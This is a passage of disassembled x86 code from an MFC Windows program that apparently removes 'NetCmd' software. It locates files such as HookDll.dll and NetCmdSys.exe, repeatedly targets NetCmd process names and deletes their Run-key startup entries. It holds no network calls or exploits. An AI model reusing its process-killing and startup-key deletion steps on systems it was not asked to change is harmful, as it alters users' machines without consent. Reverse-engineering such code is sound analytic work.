mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32ezweb.dll
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x41
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32HookDll.dll
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x42
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
push str.WINDOWS_system32lottoscore.swf
push ecx
call fcn.00405020
add esp, 8
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x43
call sub.MFC42.DLL_CString::operator_1
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x24]
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32SETDE.tmp
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x44
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32SETE7.tmp
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x45
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x36
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x32
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x2f
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x2a
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
mov ebx, 5
push 0
push str.ncrs.exe
call fcn.00406d40
push 0
push str.netcmdclient.exe
call fcn.00406d40
push 0
push str.NetCmdSys.exe
call fcn.00406d40
push 0
push str.NCSys.exe
call fcn.00406d40
push 0
push str.NCLiveUpdate.exe
call fcn.00406d40
add esp, 0x28
dec ebx
jne 0x402623
push 0x64
call fcn.00406e40
add esp, 4
lea ecx, [ebp - 0x20]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4026c0
mov edx, dword [ebp - 0x20]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.NetCmdClient
push edx
call ebx
mov eax, dword [ebp - 0x20]
push str.NetCmdSys
push eax
call ebx
mov ecx, dword [ebp - 0x20]
push str.NCClient
push ecx
call ebx
mov edx, dword [ebp - 0x20]
push str.NCSys
push edx
call ebx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x40b0ec
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [ebp - 0x2c]
mov bl, 0x46
push ecx
push 0x80000002
mov byte [ebp - 4], bl
call esi
push 0x40b09c
lea ecx, [ebp - 0x2c]
call fcn.004078a2
mov edx, dword [ebp - 0x2c]
push edx
push 0x80000002
call esi
lea eax, [ebp - 0x30]
push eax
call fcn.00404f20
add esp, 4
push 0x40b08c
lea ecx, [ebp - 0x1c]
push eax
push ecx
mov byte [ebp - 4], 0x47
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x48
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x47
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406530
lea eax, [ebp - 0x30]
push eax
call fcn.00404f20
add esp, 8
push 0x40b080
lea ecx, [ebp - 0x1c]
push eax
push ecx
mov byte [ebp - 4], 0x49
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x4a
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x49
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406530
lea eax, [ebp - 0x1c]
push str.WINDOWSNetCmdSys.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x4b
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x1c]
push str.WINDOWSNCClient.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x4c
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
mov ecx, edi
call fcn.00403f40
lea ecx, [ebp - 0x60]
call fcn.00404af0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x4d
call fcn.00404b30
mov ecx, edi
call fcn.004028f0
push 0
mov ecx, edi
call sub.MFC42.DLL_CDialog::EndDialog
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 6
call fcn.00404b20
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 2
call fcn.004078a8
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret